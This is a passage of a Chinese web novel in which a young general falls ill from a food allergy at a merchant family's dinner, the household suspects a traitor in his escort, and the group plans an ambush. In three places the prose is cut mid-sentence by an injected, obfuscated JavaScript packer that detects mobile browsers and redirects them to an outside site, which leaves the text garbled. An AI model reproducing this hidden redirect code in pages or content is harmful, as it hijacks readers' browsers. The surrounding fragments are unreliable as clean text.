不对,我为什么要在意这件事,又不是被穿了身配套的衣服就一定要混到一起去,韦祎警觉着想。 又想起,云是皇家姓氏啊,难道这云栖也有什么大来头?殷濯给他解释,默存没有本名,云栖是艺名,后来另取了字叫默存,权把云栖当名来叫。在罗易这,云栖是总管青楼楚馆业务的。 算了,听起来大概是小林那个情况差不多。 “刚说了要不要去看七叔叔,扯到哪里去了?”罗晏把话题拉回来。 “反正我不去。符怜你去找些人参鹿茸之类的大补大发之物,替我写张帖子,祝他痔大发,派人送去便了事。” 秦琼刚想答应,被罗晏截胡:“小易,我替你去看七叔叔罢,打探一番消息,我来一趟,不见他说不过去。” “行啊,那你便去。”罗易点头,“我给你备好礼。” “少主可当心了,老爷这些年不知怎么了,脾气怪,上次他犯了,我替小姐去看他,他竟然非要让我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357866|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的患处……”殷濯咬着牙回忆道。 “渔甫!你别再讲你这不堪回首的往事了,马上该用晚饭了!”秦琼捂耳朵。 “那我……我不去了,”罗晏立刻退缩,“其实我就是想找个理由再歇息一天再北上……” “你便歇,找什么理由嘛,等从我这出去,还怕自己奔波不够?” “那我就,再留一天。”既然有别人支持,罗晏给自己放假就没有心理负担了。 “还有一件事我可忘不了,玉令呢?拿来。”罗易伸出手来。 “这得看子隽,”罗晏笑,那东西又大又方,我这次出来就拿了两块,一块在我身上,另一块就看子隽有没有带了。“说罢,不等韦祎反应过来,一把抓住韦祎的荷包摸了摸,“嘿!带了,嘴上说不要,实际上对我很上心嘛!” 从韦祎的荷包里把在京城离别时留给韦祎的玉佩拿出来,递到罗易手上,“你们两个一起走,我可以放心了。” “我同意了吗?”韦祎小声嘀咕,众人皆装作没听见。 有佣人来报晚饭好了,于是众人一同移动到饭厅去。 这次好些,没有故意七拐八拐去大家面前现眼,在场的几个人直接走过去,其实可近了。 因为俘虏已经被送走,众校尉都回去补眠,肖丰反而有兴致来吃饭,得了信,和佣人一同走来。 在路上时,殷濯走近韦祎,向他解释了一番褚先生。 无外乎是这人仗着自己的老资格,想要在东海罗氏的各项生意里任人唯亲。罗易不许,于是褚先生近年便暗中勾搭上了东宅,想与东宅一同从罗易这里夺权。 是了,今天开会点卯时,是那位褚镖头点的,按说应该大镖头点卯。 这次罗易西去,第三点好处就是,要亲自把这老家伙给带到外地去,方便东海郡这里的运作,拔除有异心的力量。 等等,罗易明知道这位老家伙已经谋划着对她不利,竟敢在夜里和他一同去野外!不怕被突然间推下山崖? “怕呀,怎么不怕?”罗易笑道,“他是镖局的老大,我调动镖师不经过他,岂不是要被他看出来我想对付他?不过,有玉芝在呢,你和堂哥又都要赶来,应当是没问题的。” “有我在顶什么用,我昨个儿都打算着和您共赴黄泉了。”朱愈回头来讲,“吓死了,想着这太突然,我遗嘱都没写呢。” “哈哈,那你赶快写去,马上你又得跟我出远门。”罗易笑说。 “您带我去?” “你和符怜跟我去,这一趟除了对付老褚还有别的正事。” “好啊!咱们又可以出远门了!”秦琼抚掌。 “东海郡的事情,可都要交给渔甫了,按咱们之前商议好的做。” “您竟说是别人在欺压我多做事,明明是您带的头。”殷濯叹道。 “默存、璋之还有松风都留下。”罗易赶忙争辩。 “嗯,好啊,说不定等您回来,我已经和默存双宿双飞去了。”殷濯也玩笑起来。 “那可不成,都是我的,你们哪个都别想跑!”罗易嗔道。殷濯只有叹气,接受命运。 韦祎隐约觉得这殷濯好像跟池勤有些相似,以后遇上了一定会成为同病相怜的好朋友。 哎?成为朋友?这设想的前提似乎有些不对,自己这么容易就混到他们中间了? 想起池勤,就想起了周冲,一阵烦闷。 肖丰正坐在那,用小刀把一块蹄膀肉切成很小的一片一片,然后再用筷子夹起来吃。 从前,韦祎在肖丰吃饭时用非常疑惑的眼神看着他,并且不说话。肖丰就憋不住了,说他这牙其实不太适合吃饭,能少咀嚼就少咀嚼,没时间的时候没办法,但只要有时间,就慢慢切碎吃。 最近,结合钱氿后来才透露出的八卦,嗯?他说他的尖牙是天生的?真的?这可不像……但韦祎掩饰得很好,假装钱氿没有透露任何八卦。 此时,坐在这里吃饭,众人都非常疑惑的看着他,肖丰努力装作看不见。 “肖将军,要不,我让人帮你切好?”罗易谨慎地问。 “不用了,谢小姐好意。”肖丰微笑道,他已经开始后悔来饭厅吃饭了。 肖丰微笑的作用和常人微笑的作用不太一样,众人一阵难受,便都不看他了,扯些别的话题。 39. 玉钱煲 桌上有一道清淡的汤菜很合韦祎的口味,汤底是滤得不见一点油花没有一点渣子的鱼汤,里面有全部切成铜钱形状的各色蔬菜,煮得很入味。 “一看便是有钱人才会吃的费时费力的菜。”韦祎心想,“哎?我也算是大富大贵啊,为什么想法如此穷酸?” 韦祎连吃了两小碗,吃第二碗时,忽然觉得嘴唇有些麻痒,心里暗道不好,没等他动作,人已经滑倒在桌下没知觉了。 碰翻了碗,那碗汤菜都浇在自己身上。 众人都吓了一跳,此时正是神经紧张着怕有谁来害人的时候呢,韦祎这么一倒,太吓人了! 罗晏就坐在韦祎旁边,立刻拖开椅子来查看。 只见晕倒的韦祎,面部以肉眼可见的速度肿了起来,变成了猪头。 看一眼那道正吃着的汤,用勺子在大汤罐里捞一捞,这里头的蔬菜全都切成一样的形状,分不出来是什么了。 “这里面有沙土萝卜、地梨、莴笋、蓟、茨菇、莲藕。”朱愈道。 “这你都知道?”罗晏惊了一句。 “当然,在下怎么说也是个卖药的。”朱愈绕了过来,“韦将军这是过敏了?” “是,不能吃茨菇。”罗晏道,“得了,没别人来搞你,你先把自己给撂倒了。”一边说,罗晏扒开韦祎的嘴巴,伸出手指把口中的食物残渣抠出来。 韦祎毫无知觉,不可能起来骂他。 众人立刻动起来,把韦祎送回房,去请郎中来开药。 茨菇要不了韦祎的命。 不良反应只是立刻昏厥外加变成猪头,不过郎中也说了,如果他昏厥的时候喉咙里卡了食物,也是可以窒息的。 郎中很快赶来,给韦祎开了舒缓祛毒的汤剂。 灌了一次药,第二日上午,自然醒来。 眼睛没办法很顺畅的睁开,因为眼皮是肿的,只能努力睁开一条小缝隙,看见一道倩影正坐在身边。 那是罗易。 这里的人何等精明,绝不会把过敏完全当作是意外。 昨晚紧锣密鼓,好一番折腾,罗晏也在韦祎的房里守了一晚上,刚走。走之前摸了一把脉,“估计要醒了,美女救英雄的戏码快安排上。” 于是罗易就坐了过来,屋里满是药味。 近来太容易出事了,韦祎和云攸纾喝的药都不敢假手于他人,把小碳炉搬进来,架上银吊子,药材是朱愈亲自检查过的,就放在屋里熬煮,谁在这值班谁看着火候。 云攸纾那屋是肖丰和符怜在照顾。 夜里云攸纾起来找夜壶,差点被瞪着眼发光的肖丰吓失禁,“啊啊啊啊”一串叫声传出来,众人赶忙拎着武器冲进去。 肖丰无奈叹气,云攸纾被拎着武器的众人吓得又在大叫,宅院不宁的闹了一晚上。 罗易端着刚熬好的汤药,银碗银勺子,生怕出现中毒事件,“醒了?快喝药。” 这戏码不太对,韦祎知道自己现在是个什么德行,别说不像英雄了,这头肿的,连狗熊模样都不如。 还有那煎药的美女,没见哪一篇戏文里,美人救英雄之后,坐在床边端着药说:“哈哈哈哈对不住,你这也太好笑了让我笑一会儿。” 默默地扯被子,想要盖住头。 被子的一部分被罗易坐在身下,拽不动,只好以袖掩面。 “别挡着了,快喝药。难不成要我喂你?”好一会儿,罗易止住了笑,问他。 “不用。”韦祎赶忙自己坐起来,拿过放在床头的药碗。张不开嘴,只能用小勺喝,一勺一勺太苦了,体验极差。 现在已经没有严重的反应了,基本算满血复活,除了脸肿不好褪,至少要肿上三五天。 月白色的衣裳昨夜泼了汤。隐约有些惋惜,那定然不好洗。 下了床,衣架上放着一套折好的水色窄袖外袍,配银白的外裤,簪子是昨日那一根,新鞋新袜整整齐齐放在一旁。 瞄一眼罗易身上,还成,她今日穿的桃色折领书生服,编条长辫子,鬓边一小枝白玉桃花短流苏。 “我之前的衣裳呢?”韦祎随口问了一句。 “那件衣服颜色太暗了,老气横秋的,洗了晒不干呢。”罗易随口扯道。 这衣裳干不干和老气有关系吗?听她这厌烦的语气,估计自己那些换洗衣裳已经卒了。韦祎平时不喜欢穿偏白色的衣服,小时候自己洗衣留下的习惯,知道白衣服弄脏了不好洗,干脆就不穿。 “是不是不满意这一件,还想和我穿一样的?” “不敢不敢,这件挺好的。”韦祎怕罗易马上拿出一套桃色书生服来,立刻拎起水色的外袍披上身。不过,多看了一眼,罗易身上这套,男人的款式,女人的颜色,按说应该很奇特,她穿却完全不难看。 “要告诉你正事呢,免得你再怀疑到我头上来。”罗易转过身去,不看韦祎穿衣服。等他换好了,两人都在屋子的正厅里坐下,朱愈和秦琼也敲敲门走进来。 “怎么还记得我之前稍微怀疑过她的事情呢?”罗易不提起来,韦祎都要忘了。 正色坐定,奈何韦祎如今的形象完全严肃不起来,罗易、朱愈、秦琼三个人都一副咬牙撅嘴努力憋笑的样子。 昨夜把韦祎送到屋里的同时,兵分好几路。 朱愈去监督问诊抓药,殷濯派人控制住了厨师和采买,罗晏和肖丰分别去韦祎和云攸纾的房里等着,以防有人趁乱行凶,秦琼和韦祎的校尉去给家丁们整队,加强保护。 罗易本是要坐镇“中军”,没什么实际的事情,但云攸纾需要她安抚,因此也忙着。 “自从认识了韦将军,熬夜次数比平时多了不少。”朱愈抱怨道,显然,昨夜他仍然没能下班回家,更没有睡觉。 “看来是小姐的运势发挥作用了,逢提亲必大乱。”秦琼摇摇头。 韦祎的脸肿成那个样子,什么表情都表现不出来的,说话也很艰难,他听着就好了。 “大厨是我家用了五六年的,大厨的妻是我们成衣铺的绣娘,女儿是裁缝学徒,大儿子在客栈后厨里打下手,就是你之前住过的那一家,小儿子在员工私塾念书。”罗易说。 意思是这一家人都在掌控之中,知根知底。 竟然还有成衣店?连私塾都有? “成衣店只有一家,勉强开一开,其实只给自己人做衣裳而已。”罗易说,“沥州的丝绸、成衣生意早有别家做大,没遇到发展的时候。”她接着说,“那汤叫玉钱煲,我家常吃,这没什么可疑的,不过平时的汤,我不记得有放过茨菇。” 罗易说到这里语气变得不善,于是秦琼接上:“东海产茨菇,便宜,农户都种,我们小姐过那几年苦日子的时候天天吃,后来阔气了,当然能不吃就不吃。” “那东西没煮好发苦,要吃吐了。”罗易气道。 “所以说,我们家买菜,平时都不买茨菇的。”秦琼拍一拍一脸怒色的罗易,解释说,“采买都养成习惯了,笋子、沙土萝卜、白玉藕……什么贵买什么,尤其是来了贵客,更不可能故意去买小姐不爱吃、又便宜的蔬菜。另外,我们查了,当天的红焖肉垫盘配菜是茨菇,干贝粥里面也放了切碎的。” “我们这些人刚刚认识您,不可能知道您吃茨菇要被毒倒,我们的厨师、采买都是东海郡的坐地户,更不认识您了。到现在,只说是因为今天的地梨没买够,才用茨菇去替换。所以说,问题根源出在您那里,有谁知道您不能吃茨菇呢?” 城防军的人都知道。 上次中招是在城防军,营千总将军在饭堂吃午饭的时候突然倒地变成猪头,这可是大新闻、大谈资。 不过仅限于那一次。韦祎从小就没吃过茨菇,原因相同,那东西便宜又难做,稍不留神就发苦,稍有些钱的都不吃。 第一次中招是在去蓬村岛之后了,被师兄弟们笑了好几天,其中就包括罗晏。 这么说,罗晏也知道啊。 “用排除法,先排除我!”罗晏正走进来,他换了身衣服又回来了,还带了一罐米放多了的白粥,两只叫花鸡。“非常时期,自己动手,都别嫌弃。” “我说院子里为什么生着丛篝火。” “如果你昨晚在,还能看见我杀鸡呢。”罗晏道,“城防军的人,你只带了那几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357867|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,也要用排除法吗?” 叫花鸡,蓬村岛小孩儿的拿手菜。 “我都忘了,刚把厨子押起来,家里没人做饭。”罗易郁闷道。 众人吃鸡。 “昨夜我和校尉大哥们带着家丁绕宅一夜,至少我们西宅是没有异动的。校尉大哥们也没什么异常。”秦琼说,“除了都想搭讪之外。” 肖丰应该不至于,其他校尉,韦祎都不怎么熟悉。这些人会来到东海郡都是巧合,没有害人的理由。 “子隽喜欢吃什么?”罗易问。 大家都在吃鸡,韦祎现在张不开嘴,没法吃,只能吃粥,可是罗晏这粥煮得太稠了,竟然像白米蒸饭一样,用勺子能挖出尖尖的形状来,吞不下。 于是韦祎盛半碗粥,倒半碗茶进去,让粥变稀,慢慢喝下去。 “嗯……”韦祎陷入沉思,没什么偏好。 “你看看他,有哪个大少爷能吃凉茶冲白粥的?他是饿了看什么都能吃,不饿吃什么都无所谓。”罗晏说。 “倒是好养活。”一旁的朱愈忽然发表见解,对罗易说。 “怎么样,是不是离合格的姑爷更进一步了?”罗晏趁势推销。 “如此,那就是熟人也不知道子隽喜欢吃什么,所以那么多菜里面都放了茨菇,总会有中招的。用茨菇替地梨的理由纯属胡扯,没有地梨怎么不用莲藕替?” “咱们在东宅安插的钉子才来报信,说东宅昨夜遭了贼。”殷濯走进来。 “哎?”罗易面现喜色,“渔甫来了,快坐下说!” “倒是没什么大事,昨夜刚过子时,东宅后门值夜的几个小子在斗牌喝酒,有人翻墙没看到,那贼一直进了中院,翻东西惊到了二少爷,二少爷拔剑和贼打,如今头破了正卧床。有了动静,家丁们才出来追,贼又翻去后院,进了几间客房,打碎了好些东西,逃了。” “干得漂亮!”罗易道,韦祎猜她这句话的主语是夸贼呢。 “后院的客房,老爷给打上了多宝阁,用来放好瓷器,如今遭贼,不知道该有多心疼。”殷濯微笑道。 “他宝贝儿子头破了,更是要心疼,疼得他粕门烂透才好呢。”罗易哼道。 众人在吃饭呢,都面色微妙起来。殷濯刚洗了手,拈起一块鸡脯肉,还没放到嘴边。 在座诸位里面只有他最倒霉,真的被迫看见过东宅老爷的那块患处。想了想,闭眼皱眉,抿着嘴缓缓放下鸡肉。 “对不住啊,渔甫。”罗易不好意思的笑笑,“我再不说了。” “无妨,您再多说几次,也许我便不觉得异样了。” 渔甫!好脾气!韦祎心中赞叹。 “几个贼?可有丢什么东西?”秦琼问。 “贼只有一个人,说起丢东西,这就是怪异之处了,虽然被翻了几间屋子,打碎了好几件古董,却没有少东西。” “看来不是取钱财的贼,估计是来找我们的,却找到东宅去,把二少爷给揍了一顿。”朱愈笑,“二少爷命不错。” “子隽,你们这敌人倒是让我很开心,看来也不是逢相亲必有坏事!”罗易道。“这就好排除了。我这里的人、还有平焕都不知道饮食的问题,我堂哥知道,但是先不算他。假设子隽那边的人全都知道饮食的问题,但要同时不知道我家里分东西宅,那么……”罗易不说了,笑笑。 众人刚才都有了假设,不过他们不好说,只等罗晏或者罗易说出来。 肖丰和其他七个校尉,都住在罗易家里,当然知道宅院的布局,且昨夜里皆无异动。 传出消息的途径,只剩下周冲了。之前他住在官驿,未曾进过罗宅。 “如果是这样,至少还没死。” 听韦祎这么说,众人沉默。 “死了还是没死,已经不重要了吧?”罗晏见众人都不开口,只好由自己这个老熟人把坏话说出来。 罗易左右看看,殷濯、朱愈、秦琼都一副玄妙的表情笑而不语,她挤挤眼,还是没人说话。都活成精了,坚决不得罪未来的姑爷。 只好自己说:“想不到周将军竟然是一位左右逢源的人物。” 40. 做饵记 韦祎想着,前些日子,在东平郡打探消息的时候自己给人使了点银子,周冲都觉得不妥呢,十分刚硬正直。按说,不会转了头就做出卖主将的事情来。 “我从前给人贿赂你还不乐意看,嘿!转了头就变成你使银子,可见世风日下啊。再换了另一个人身临其境,不见得好到哪里去。”罗晏说。 “这情形不同。”韦祎道。一点点贿赂的银子,和被敌人捉走相比,程度差大了。 “如果是我来替你想,这是好事呢。”罗易唯恐天下不乱的提了一句,“只是可惜了厨师一家子丢营生,他做的饭菜,我们可不敢再吃了。符怜也又要去充坏人了。” “缓一缓,等查清了再说,先押着。”秦琼无奈道。 民间的富人家,佣人被买通行害人之事,尚且不能容,何况是军中? 就像肖丰之前说的,对郡王保护不利,遇上脾气不好的主将,已经够他死一次了,就算韦祎把这件事按下,容了他,对军心却没有好处。 到了现在,向敌国间谍泄密,暗害主将,若是被逮回来,真是免不了死罪。 如果韦祎不是将军,不在军中,周冲被敌人抓走,不得已告密,按韦祎的一贯脾性,就算了。 其实,即使在军中,能算了的小罪名也都算了,但军中有法纪,近乎叛国的罪名,没办法按下。 按规矩的做法,是把他抓回来斩首,然后上报朝廷,追加罪名并且削去军籍。当然,韦祎不可能这么干。 等回去,报个追敌失踪,如果过了三年还没有现身,兵部就会把他算做阵亡,追封一级,亲人享有抚恤金。 要不怎么说是省事儿了,按韦祎这性格,之前的情况不救周冲他心里过意不去,现在是去救他就相当于杀他,这么一中和,正好不用去找周冲了。在敌人那里能死还是能活,看他自己的造化吧! 省事了是省事了,不过韦祎也说不好自己是变好过了还是变难过了。 “但是,符怜说得也有道理,事情还没有完全查清楚,等我们细细查问过再做打算。”罗易玩笑道,“说不定是我堂哥使坏呢?” 韦祎这肿成猪头的脸,众人看不出他是个什么表情。 “那就这样。”韦祎含混不清的说了一句。 “不成!我岂不是无法洗脱嫌疑了?”罗晏来劲了,“咱们不能只挨打不反击,天天熬通宵谁受得了?” “堂哥啊,你不是明早就要出发了吗?” “子隽都这个样子了,我怎么可能放心走?”罗晏正气凛然地一拍桌,“而且我算过了,有小易帮忙分担,其实我的时间也没有那么紧迫了!就让盐郡那做假账的老头再等我一阵子。” “你只是自己不想去吧。”韦祎说。 “你说什么?哎呀,你这肿的,说话都不清楚了,听不清听不清,敷剂也做好了,玉芝给你拿去。”罗晏擦一擦手,快步走到隔壁去:“平焕,肖将军,你们来,有大事要商量。” 罗晏走回来时,韦祎才看着罗晏的衣裳眼熟,这颜色、这布料,怎么与自己身上这件一模一样?只有款式不太相同,自己这件是斜襟窄袖的,罗晏身上那件是对襟广袖。 “你不知道吧,这是小易压箱底的布料。” “堂哥你就别笑我了,这料子贵着呢,只是颜色浅,年轻人买不起,年长的嫌轻佻,又不流行了,卖是卖不出去的。”罗易扶额,“我们几个都做过好几件这料子,实在是消耗不下去。” 这找熟人倒垃圾的习惯和罗晏真像亲兄妹! 罗晏从小就喜欢收东西,从树叶、石头到动物皮毛。出来之后开始收集什么话本小说、偏门武器,一旦收集的差不多了,没兴趣了,就看着那堆东西碍眼,扔了不舍得,卖了觉得糟蹋,就送给熟人。韦祎没少被他当垃圾桶使用,家中西厢房里堆着的东西,有一大半是罗晏的。 云攸纾走在前面,披着衣服,刚从床上起来,不情不愿。肖丰走在后面,挎着刀、叉着腰。云攸纾像是被押送过来的。 “啊哈哈哈哈哈哈哈哈哈哈!”云攸纾睁开没睡醒的眼睛,对韦祎定睛细看后,发出一长串爆笑。“你中毒了吗哈哈哈!” “是啊,韦将军可是因为保护你才被下了毒,你还要这么笑他?”罗易抢在韦祎前面,先开口。 韦祎刚才还想说不是中毒呢,听罗易已经这么说了,心念一动,顺着这个说法来讲。 “这是什么毒啊,太好笑了吧?”云攸纾十分有兴致地在韦祎旁边坐下,凑近了仔细观察。韦祎伸手就去坐在另一边的罗晏身上抽出来一把扇子来,展开挡脸。 “没查出什么毒呢,不过不致命,只是让人昏厥,好在韦将军体格不错,昏了一晚上便醒了。”罗易道,扫视众人一圈,众人皆应和。 “原来是这样啊,看来我也把你给连累了,倒是让我挺过意不去的!”云攸纾扁嘴。 “多谢平王挂怀,这都是应尽之责。”韦祎敷衍道。 “不要叫平王,我才不稀罕当个什么郡王呢!”云攸纾梗着脖子说,“你看我才当了几天平王,就弄得周将军出事,现在你也出事了。如果我有的选,只做个小老板最好不过了。” “都说食君之禄担君之忧,平焕你生成了皇子,为国家尽责也是应当应分啊,别任性抱怨啦。”罗易温声劝他。 “可是他没给我发俸禄啊!”云攸纾炸了,“王府我也没法住,又没禁军保护,还没有宫人使唤,更没有给我发俸禄,要不是因为走之前我娘给我几千两的银票防备,有本钱做点小生意,说不得我要饿死在东平!” “竟然是这样?这可就有些过分了。”罗易想了想,还是把这话给说出来了,在场两个当官的自觉假装听不见这等大逆之言。 你许诺我前程似锦,那我给你卖命没毛病,但是啥报酬都没有,还让人出力,确实过分。 “不要忙着怪罪他,这其中应该有些什么我们不清楚的缘故在。”罗晏站出来打圆场,“现在大家隐蔽行事,就不该以官职相称。” 众人决定投票表决:是否在此地设伏,逮住一直在暗中作祟的敌人。 设伏派的代表是罗晏和罗易,理由是,如今敌暗我明,不胜骚扰,必须变被动为主动,至少也要借助交手的机会去查敌人的底细,再从长计议。 反对派代表是韦祎,有且只有他一个人。他如今的情况不太方便说话,大家也能猜到:多一事不如少一事。 本来,云攸纾是不想设伏的,要设伏,他就得当诱饵,实在是不敢。 但罗易主张设伏,眨眨眼权衡一番,完全不犹豫地倒向了他的逸希姐姐。 在场的殷濯、朱愈、秦琼三人自然站在罗易这边,一晚一晚的折腾谁受得了?不如主动出击。韦祎看看肖丰,肖丰打了个哈欠:“我同意罗公子。” “七比一,压倒性的胜利!”罗晏得意:“先来个简单的,看能不能钓上鱼。子隽你现在开始就别出这院子了,玉芝用医馆的关系暗中散布消息,只说府里有人发重病,生命垂危,找寻良医诊治。” “需得偷偷摸摸才好,再从府里向外传,生病的人是从京城来找小姐提亲的,刚来就倒下了,充分利用咱们小姐在东海如雷贯耳的好名声。”秦琼笑,“韦公子知道我们小姐的威名吧,跟我们小姐提亲的人,就没有能完完整整活下去的。” “这谈资好,至少东宅的人一定会喜欢。”殷濯补充。 “那就这么办,这消息一下午的时间足够传了,最好今晚就能见成效,我这宅院布防,就要拜托给肖大哥了?”罗易问。 “好。”肖丰点头。 “如果来人是高手,子隽和堂哥也要做好准备。”罗易接着布置,“渔甫去和官府招呼,拜托军曹大人准备兵力备勤,若是此事不成,我定有补偿,若是此事成了,算我送他的大功劳,你知道该怎么说。” “当然,小姐放心。” “另外,厨师的事情先按住,不要走漏了消息。璋之、默存手下人多,让他们都留意着听听,如有消息尽快回报。”罗易说完,秦琼点头,“我亲自去一趟。” “这次的事情,宅院布防,是否请褚先生一起?”殷濯问。 “把这事告诉他,让他在外围等着策应,多熬夜对他身体有好处。”罗易笑,“若是我们派得人多了,岂不让敌人察觉?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357868|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,此事我顺路去交代。”殷濯说。 “逸希姐姐,是不是没有我的事情啊?”云攸纾小心翼翼地发出疑问。 “怎么会没有你的事呢,平焕是重点,你要和子隽待在一起,真见到了贼千万莫慌。” 云攸纾缩了脖子,想说害怕又不好意思。 “那就各自去办,拜托大家。”罗易满是兴奋地宣布。 “对了,渔甫,我的行李可有运来?”韦祎含混不清地问。之前在官驿遇到殷濯,直接把驼大件行李的马留给了他,直接带众人去追赶。 “喔,您的行李应该就在屋内,容我看看。”殷濯转身四处翻了翻,“在这呢。”他拉开一个柜子,里面堆了好几个长的、方的结实木盒,木盒上还有背带。 众人礼貌告辞,罗易也有得忙,只剩下罗晏和云攸纾。 “这是个什么?” 韦祎难得在罗晏面前得意一回。离京城时特意去军营拿来这东西,本觉得多此一举,现在看来还真有必要。 挑最长、最宽的那个大木盒,拨开上面的插销锁舌,打开盒子。 “看!” 盒中躺着一张大弓,六尺长、硬木制,弓身没有任何修饰,木头本色、十分油亮。 在金吾卫时一般用弩,上次做硬弓是在出征稞国之前,回程的路上不便带就给丢了,这一张是在城防军任职时定制的。 把弓拿出来,熟练地夹在腿间,把弓弦绷上。 罗晏听到弓弦嗡地一声,“比上等强弓还硬啊,好家伙!” 先不说实用不实用,难得是真的,韦祎用着军营里量产的弓觉得不够劲,才找人去做,好弓材、好弦筋,是靠运气的! 又开一木盒,里面分左右两格,一格是铁箭头木杆带白羽的成品箭,另一个格子是全生铁打造的空心箭,尾羽需要自己安装。 “试试。”把弓箭递给罗晏。 “试试就试试。”罗晏知道韦祎在这等着他呢,显然铁箭是可回收材料,于是就用铁箭。 “等等,戴手套。”韦祎从弓盒里拿出一只皮质的长护臂,绑在执弓的手上,另一只有特制铁手指的短手套,戴在拉弦的手上。“绷到胳膊可不是好玩的。” 走到院子里,拿一个苹果放在栏杆上权当靶子。 罗晏站远,感觉一下,这弓入手很沉,不过韦祎可在那等着看自己拉不开呢,绝对不能遂他的愿。于是沉住气,双臂发力,倒也能勉强拉满,只是用力太过,双手无法定住,半晌瞄不准。 此时越等越耗力气、越瞄不准,骑虎难下,隐约瞄了一下子,松手把箭放出去。 当然没有射中苹果靶子,擦着苹果的边儿,深深扎进罗易家回廊栏杆上的大木柱子里,三尺长的箭没入柱子一大半。 “闯祸了。”罗晏咬牙道。 韦祎愉悦,这么近的距离把强弓拉满,就算射中了苹果靶子,也会深扎进木头里的。 “这是什么射程?” “我站着不动的话,百丈远都有准头,骑马时稍微近些。” “比普通弓兵的射程多一倍,不枉你用一次又要上弦又要戴手套的。看来你这几年得闲,在此道上又有精进。”罗晏摇摇头,在他看来,这武器根本不适合即时反应。 先从盒子里拿出来,再上弦,再戴上左手套,再戴上右手套,最不合理就在于这两只手套没法自己戴到手上去,非得靠别人给你系上,尤其是拉弦的铁手,戴上了就没办法再做除了拉弦之外的事情了。 走到柱子那里拔箭,箭也不给面子,没那么容易拔出来。 “你得从后面拍一掌,让箭从前面穿出来。”韦祎背着手,也走过来。 “在柱子上留个空心窟窿吗?”罗晏心虚道。 “箭尖是倒钩,拔是拔不出来的。” 一咬牙,正好右手上还带着铁手套,先拆卸掉箭尾的羽毛,咣地蓄力一拍,箭应声从柱子前面穿了出来,在罗晏的咬牙声中撞在了另一根栏杆上,留下一道长长的白印子。 “真是闯祸了。” 韦祎心情愉快地检查铁箭,质量是真的好,穿了根木头柱子再拔出来也丝毫没有损伤。 41. 处处疑 “我也要玩玩!”云攸纾看得手痒,来了兴致。 “这一张就算了吧,我觉得今晚就算有伏击也用不上。”罗晏其实是觉得云攸纾一定拉不开,试了没面子,于是转移注意力。 确实,这种大强弓,最适合站在城楼上光明正大的用,突袭、伏击、遭遇战上都无法发挥作用。韦祎平时也不用这个,他日常在地上捡石头,没石头就拿铜钱、碎银子当飞镖,十分有阔少风范。 三人又走回屋内,韦祎从另一个盒子里拿出来常用的弩,递给云攸纾,用弩要简单一些,“会用吗?” “君子六艺学的是射箭,弩是机巧,自然不学。”云攸纾扬起下巴。 “对啊,还有古礼君子六艺这么一说,那平焕你会驾车不?”罗晏问。 “嗯……”屋内陷入一阵尴尬的沉默。 “那你会吗?”韦祎问。 “不会。”罗晏想了想,“有车夫我为什么要驾车?不过我也不是君子,有情可原。” “我也不是。”韦祎从善如流。 云攸纾皱眉,还有人这么随意就承认自己不是君子的。不过转念即想到自己也没学全君子六艺,就揭过此事好了。 “真要遇袭,拉弓来不及,不如用弩。”拿出一把箭来给云攸纾演示,“这样上弦,把箭放进凹槽里,三点一线,瞄准就扣扳机,你试试。” “在屋里试?” “没事的,放心扣,你看,我们瞄壹通身边的那个花瓶。”韦祎握着云攸纾的手扣下了扳机。 发现手掌感受到了反力,弩箭已经飞出去,云攸纾哎哎哎的惊呼起来,这不是又在毁坏家具吗? 在箭尖即将碰上花瓶的一刹那,罗晏无奈的伸手一抓,截住了箭,“你确定要这么玩?” “戴一次铁手套那么麻烦,多些用处。”韦祎道。 “原来是这样!”云攸纾眼睛亮了起来,“走走,我们去院子里玩。” 三人走出屋子,正看见那根红漆圆木柱旁站着一袭桃色衣衫的倩影,那位窈窕淑女正摸着下巴端详着柱子上崭新的空心儿窟窿。 随即,罗易的眼神转到这三人身上来,云攸纾正双手端着弩,罗晏戴着射箭手套拿着一支箭,韦祎立刻展开空无一物的双手以示清白。 “可以啊。”罗易慢条斯理地蹦出三个字来。 “那个,小易,你听我解释,这都是平焕初学用弩,没控制好。”罗晏指了指云攸纾。 “那明明是刚才你射的箭!”云攸纾瞪大了眼睛怒道,这样当着大家的面扯谎的人真是少见! “嗯,好啊。我怎么记得堂哥你还欠我一千两银子呢?”罗易一步一步逼近。 罗晏立刻从腰带里摸出一张银票来,戴着碍事的手套,很艰难,但还是拿了出来,双手奉上。罗易慢悠悠接过来,展开看了一眼,三两下又折起来拍回罗晏手上,“哼!谁稀罕你的钱?”罗晏收了银票窃笑起来,“就知道小易大人有大量。” 